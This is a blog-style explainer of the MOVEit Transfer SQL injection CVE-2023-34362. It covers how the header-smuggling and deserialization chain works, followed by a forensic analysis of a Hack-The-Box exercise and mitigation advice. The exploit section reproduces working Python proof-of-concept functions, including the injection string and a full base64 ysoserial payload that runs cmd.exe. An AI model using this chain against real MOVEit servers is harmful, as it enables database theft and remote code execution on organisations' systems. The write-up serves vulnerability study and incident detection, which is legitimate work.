CVE Explained CVE-2023-34362

Having a deep dive into the moveit vulnerability

Product affected

Progress MOVEit versions before :

  • 2021.0.6 (13.0.6)

  • 2021.1.4 (13.1.4)

  • 2022.0.4 (14.0.4)

  • 2022.1.5 (14.1.5)

  • 2023.0.1 (15.0.1)

MOVEit Transfer is a file transfer application allowing users to transfer files between different systems securely. It is used by businesses of all sizes to transfer files between offices, customers, and partners.


Vulnerablity

A SQL injection vulnerability has been found in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain access to MOVEit Transfer's database.

Impact , Persistance and how to detect

After successfully exploiting the vulnerability, the attacker deploys a web shell (human.aspx), a hidden entry point for future access. Through this deployed web shell, the threat actor gains continued backdoor access to the compromised system, establishing a means for continuous control. Subsequently, they initiate data exfiltration activities, secretly extracting sensitive information without authorization.

It is important to note that certain patterns of requests are frequently observed when attempting to implant malicious web shells. These patterns of requests on server often serve as indicators of compromise and include:

  • /api/v1/token: an endpoint used for checking a session token.

  • /api/v1/folders: an endpoint used for “folder actions and its properties”.

  • dll: is used to perform SQL injection when requested with specific headers.

  • aspx: is used to prepare a session and extract CSRF tokens.

Flow of exploit

The exploit as 1. Exploit the SQL injection and obtain the sysadmin API access token 2. Use this token to abuse a deserialization vulnerability 3. Thus allowing Remote code execution

The bug was in the MOVEitISAPI.dll which while processing the headers in a HTTP request Code to make the HTTP request to guestaccess.aspx

def set_session_variables(s: requests.Session, session_vars: dict, url: str) -> None:
    """
    Uses a vulnerability in MOVEitISAPI.dll to set session variables for our session.
    """
    headers = {
        # MOVEitISAPI.dll will only forward our request to SILMachine2 if the transaction is "folder_add_by_path".
        # We trick MOVEitISAPI.dll to use "folder_add_by_path" as its transaction by setting xx-silock-transaction.
        # SILMachine2 will not process xx-silock-transaction and instead takes X-siLock-Transaction which is set to
        # session_setvars.
        "xx-silock-transaction": "folder_add_by_path",
        "X-siLock-Transaction": "session_setvars",
    }
    headers.update(dict_to_session_var_dict(session_vars))
    s.post(f"{url}/moveitisapi/moveitisapi.dll?action=m2", headers=headers, verify=False)
  1. Function Purpose: The set_session_variables function is designed to manipulate session variables of the MOVEit Transfer's session, exploiting a vulnerability in MOVEitISAPI.dll.

  2. Header Manipulation Technique:

    • The MOVEitISAPI.dll is tricked into forwarding the request to a specific internal component (SILMachine2) by using a custom header xx-silock-transaction with the value folder_add_by_path.

    • Normally, MOVEitISAPI.dll looks for X-siLock-Transaction to determine the transaction type. However, due to a bug, it can be deceived by a similar header (xx-silock-transaction).

    • By using two headers, one with a prefix (xx-silock-transaction) and the actual one (X-siLock-Transaction), the function is able to manipulate the transaction type and pass specific session variables.

  3. Exploiting the Bug:

    • The xx-silock-transaction: folder_add_by_path header matches a condition in MOVEitISAPI.dll, causing the request to be passed to machine2.aspx.

    • The X-siLock-Transaction: session_setvars header, which is only processed by machine2.aspx, forwards the request to guestaccess.aspx.

    • The session_setvars in the X-siLock-Transaction header contains the session variables needed to manipulate the session and forward the request successfully to guestaccess.aspx.

The pic shows the session variables in the guestaccess.aspx file

Session variables (Source)

The POST request is sent to guestaccess.aspx with headers such as “MyUsername”, “MyPkgAccessCode” and “MyGuestEmailAddr” set so as to generate a CSRF token needed to create the session.

def get_csrf(s: requests.Session, url: str) -> Optional[str]:
    """
    Sends a POST request to guestaccess.aspx with specific data. This data causes
    guestaccess.aspx to generate a CSRF token for our current session.
    """
    data = {
        # Arg06 is required to get SILGuestAccess.cs to generate a page with a csrf token
        # This must match MyPkgAccessCode session variable
        "Arg06": "123",
    }
    r = s.post(f"{url}/guestaccess.aspx", data=data, verify=False)
    body = r.text
    match = re.search(r'name="csrftoken" value="([^"]*)"', body)
    if match:
        csrf_token = match.group(1)
        return csrf_token
    else:
        return None

Function Purpose: This Python function is designed to retrieve a Cross-Site Request Forgery (CSRF) token from the MOVEit Transfer software. The CSRF token is required to perform further actions, specifically triggering a SQL injection in the guestaccess.aspx page.

  1. CSRF Token Retrieval:

    • The function sends a POST request to guestaccess.aspx with specific data to trigger the generation of a CSRF token for the current session.

    • The data dictionary contains required parameters, and one key-value pair, "Arg06": "123", is crucial for generating a page with a CSRF token.

    • The request is made using the requests library, and the response is stored in the variable r.

  2. CSRF Token Extraction:

    • The HTML body of the response is obtained and stored in the variable body.

    • The function uses a regular expression (re.search) to find the CSRF token from the HTML response.

    • If a match is found, the CSRF token is extracted and returned. If not, None is returned.

  3. SQL Injection Triggering:

    • The CSRF token obtained can be subsequently used to trigger a SQL injection in the guestaccess.aspx page by including it in requests.

def do_guest_access(s: requests.Session, csrf: str, url: str):
    """
    Trigger the SQL injection
    """
    data = {
        "CsrfToken": csrf,
        "transaction": "secmsgpost",
        "Arg01": "email_subject",
        "Arg04": "email_body",
        "Arg06": "123",
        "Arg05": "send",
        "Arg08": "email@example.com",
        "Arg09": "attachment_list"
    }
    r = s.post(f"{url}/guestaccess.aspx", data=data, verify=False)

Code to trigger SQL injection

The session_vars headers that contain the injection vulnerability are treated by the MOVEit application as a list of email addresses. The MOVEit application then splits the list with commas as delimiter before passing it to the SQL engine.

def do_injection(sql_statements: list[str], s: requests.Session, csrf: str, url: str):
    # Make sure there are no commas in our statements. This is a limitation of our vulnerability. The field that
    # contains the injection is treated by the MOVEit application as a list of email addresses. The MOVEit application
    # will split the list on commas before passing it to the SQL engine.
    for statement in sql_statements:
        if "," in statement:
            raise Exception(
                f"SQL statement '{statement} contains a comma. Refactor your statement to remove the comma.\n")

    for sql_statement in sql_statements:
        #print(f"Running SQL statement: {sql_statement}")
        session_vars = {
            "MyPkgID": "0",
            f"MyPkgSelfProvisionedRecips": f"SQL Injection'); {sql_statement} -- asdf",
        }
        set_session_variables(s, session_vars, url)
        do_guest_access(s, csrf, url)
  1. Checking for Commas:

    • The function iterates through the list of SQL statements provided as sql_statements.

    • It checks each statement for the presence of a comma. If a comma is found, an exception is raised, as the vulnerability does not work with commas. This is because the target field in the MOVEit application splits input on commas, treating them as separators in a list of email addresses.

  2. Injecting SQL Statements:

    • The function then iterates through the SQL statements again.

    • For each SQL statement, it prepares a dictionary named session_vars with key-value pairs that are to be injected into the session.

    • The key MyPkgID is set to "0". This might be a required field for the operation.

    • The key MyPkgSelfProvisionedRecips is where the actual SQL injection takes place. The value is crafted in a way to terminate any existing query (SQL Injection');) and then insert the attacker's SQL command ({sql_statement} -- asdf).

  3. Executing the Injection:

    • set_session_variables function is called with the crafted session_vars, which sets these variables in the current session, effectively preparing the SQL injection.

    • do_guest_access function is then called, which likely uses the manipulated session variables and triggers the actual SQL injection by accessing a specific part of the MOVEit application (possibly guestaccess.aspx).

We can then create a JSON Web Token and using which we can obtain the sysadmin API access token.

def get_access_token(encoded_jwt: str, url: str) -> str:
    print("[*] Getting sysadmin access token")
    data = {
        "grant_type": "external_token",
        "external_token_type": "MicrosoftOutlook",
        "external_token": encoded_jwt,
        "language": "en",
    }
    resp = requests.post(f"{url}/api/v1/auth/token", data=data, verify=False)
    j = resp.json()
    access_token = j["access_token"]
    print("[*] Got access token")
    return access_token

With the sysadmin access, we can manipulate the database by retrieving/uploading/updating data and delete files.

def get_folder_id(url, access_token):
    print("[*] Getting FolderID")
    h = {
        "Authorization": f"Bearer {access_token}"
    }
    resp = requests.get(f"{url}/api/v1/folders", headers=h, verify=False)
    j = resp.json()
    items = j.get("items")
    if items:
        folder_id = items[0]["id"]
        print(f"[*] Got FolderID: {folder_id}")
        return folder_id
    else:
        print("[-] Failed to get FolderID")
        sys.exit()

Now since we have the folder if the code we can delete the files in the db:

def delete_file(url, access_token, file_id):
    print("[*] Deleting uploaded file")
    h = {
        "Authorization": f"Bearer {access_token}",
    }
    resp = requests.delete(f"{url}/api/v1/files/{file_id}", headers=h, verify=False)
    if resp.status_code == 204:
        print("[*] Uploaded file deleted")
    else:
        print("[-] Failed to delete uploaded file")

Code to delete files in the database. In this PoC, the script writes a file to C:\Windows\Temp\message.txt. Using various methods we can upload alternative payloads to the target machine. This code uploads the file in the database:

def start_upload(url, access_token, folder_id):
    print("[*] Starting file upload")
    # ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd.exe /C echo DIRTY MIKE AND THE BOYS WERE HERE > C:\Windows\Temp\message.txt" -o base64
    payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAFIvYyBjbWQuZXhlIC9DIGVjaG8gRElSVFkgTUlLRSBBTkQgVEhFIEJPWVMgV0VSRSBIRVJFID4gQzpcV2luZG93c1xUZW1wXG1lc3NhZ2UudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="
    p = {
        "uploadType": "resumable"
    }
    d = {
        "name": "letusin",
        "size": "0",
        "comments": payload
    }
    h = {
        "Authorization": f"Bearer {access_token}",
    }
    resp = requests.post(f"{url}/api/v1/folders/{folder_id}/files", headers=h, params=p, files=d, verify=False)
    j = resp.json()
    file_id = j.get("fileId")
    if file_id:
        print(f"[*] Got FileID: {file_id}")
        return file_id
    else:
        print(f"[-] Failed to get FileID! Try changing the file name.")
        sys.exit()

The p dictionary contains parameters for the HTTP request. In this case, it specifies that the upload type is "resumable." The d dictionary contains data related to the file being uploaded. It includes the file name ("letusin"), size ("0"), and comments, which is set to the payload.

FINALYY !!! Now to achieve remote code execution we need the State value in the database to contain the encoded serialized payload. As we can see above , the payload is in the ‘comments’ field. By using SQL injection we can copy the value of ‘Comment’ to the ‘State’ field and by abusing a deserialization call we can achieve remote code execution. Code to inject the payload to achieve RCE

def inject_payload(sess, url, csrf, file_id):
    # SQL inject the ysoserial .NET payload
    print("[*] Injecting the payload")
    payload_statements = [
        f"UPDATE `fileuploadinfo` SET `State` = `Comment` WHERE `FileID` = {file_id};"
    ]
    do_injection(payload_statements, sess, csrf, url)
    print("[*] Payload injected")

Code for RCE

    folder_id = get_folder_id(args.url, access_token)
    file_id = start_upload(args.url, access_token, folder_id)
    inject_payload(s, args.url, csrf, file_id)
    trigger_payload(args.url, access_token, folder_id, file_id)

SOC analysis of the vulnerability

In order to do a forensic analysis I would like to use the Hack-The-Box platform's sherlock exercise:

The challenge had two files:

  • I-like-to-27a787c5.vmem {windows event trace log}

  • Triage.zip Triage.zip had a results folder containing results from kape tool

The data they provided to detect was:

  • MFT (Triage/uploads/ntfs/%5C%5C.%5CC%3A/$MFT)

  • IIS logs (Triage/uploads/auto/C%3A/inetpub/logs/LogFiles/W3SVC2/u_ex230712.log)

  • PowerShell History Files (Triage/uploads/auto/C%3A/users/)

  • Event Logs (Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/)

  • SQLdump (Triage/uploads/moveit.sql)

  • Memory dump (I-like-to-27a787c5.vmem)

  • Registry hives (Triage/uploads/auto/C%3A/Windows/System32/config/)

IIS logs

in the C:\inetpub directory -> In Triage/uploads/auto/C%3A/inetpub There was a Logfiles Folder which had: W3SVC2 folder containing the file: u_ex230712.log When searched for the moveit in the logs I got the human.aspx : the indication of the attack , as the same files were uploaded and searched for in the logs as per the above python exploit we saw

also the ip of the attackeR: 10.255.254.3. To confirm our hypothesis we get the requested resources from the files with the command:

cat u_ex230712.log | cut -d' ' -f5 | sort | uniq -c | sort -nr

The most requested resource is :The one we look ed above in the exploit that makes

Also what kind of client searches for nmap:

looks like there was a scan of nmap:

we need to look for these requests:

  • GET /MOVEitISAPI/MOVEitISAPI.dll?action=2

  • POST /machine2.aspx

  • POST /guestaccess.aspx

  • POST /api/v1/token

  • GET /api/v1/folders

  • POST /api/v1/folders/{id}/files?uploadType=resumable

  • PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id} and look what we have here:

The whole pattern is somehow getting mimicked:

console history

find . -name ConsoleHost_history.txt

Looks like someone wanted something badly:

Memory Analysis

We also were provided with the memory dump of the file -> we extract the strings from the file:

strings I-like-to-27a787c5.vmem > strings_file
strings -e l I-like-to-27a787c5.vmem >> strings_file

we get this from the file:

This is how the webshell was downloaded

Passoword change via attacker

In the windows the password change is done via the net user command so when I grepped the string:

So this is the whole attack scenario we need to look for as an SOC.


Mitigation

Recommended Actions to Address MOVEit Transfer Vulnerability:

To prevent the exploitation of the identified vulnerability in MOVEit Transfer, it is crucial to apply immediate remediation measures. Progress has provided the following recommendations to mitigate the risk:

  • Update MOVEit Transfer: Ensure that you update your MOVEit Transfer installation to one of the following patched versions:

  1. MOVEit Transfer 2023.0.1

  2. MOVEit Transfer 2022.1.5.

  3. MOVEit Transfer 2022.0.4

  4. MOVEit Transfer 2021.1.4.

  5. MOVEit Transfer 2021.0.6

  • YARA rule for the vulnerability: Github

  • Disable HTTP and HTTPS Traffic: Modify your firewall rules to block all incoming HTTP and HTTPS traffic to the affected MOVEit Transfer products. Specifically, deny traffic on ports 80 and 443. This step helps prevent potential attacks targeting the vulnerability.

  • Remove Unauthorized Files and User Accounts: Immediately delete any unauthorized files, particularly instances of “human2.aspx”, from your MOVEit Transfer environment. Additionally, carefully review the user accounts associated with the system and eliminate any suspicious or unauthorized accounts to minimize the risk of unauthorized access.

References

Last updated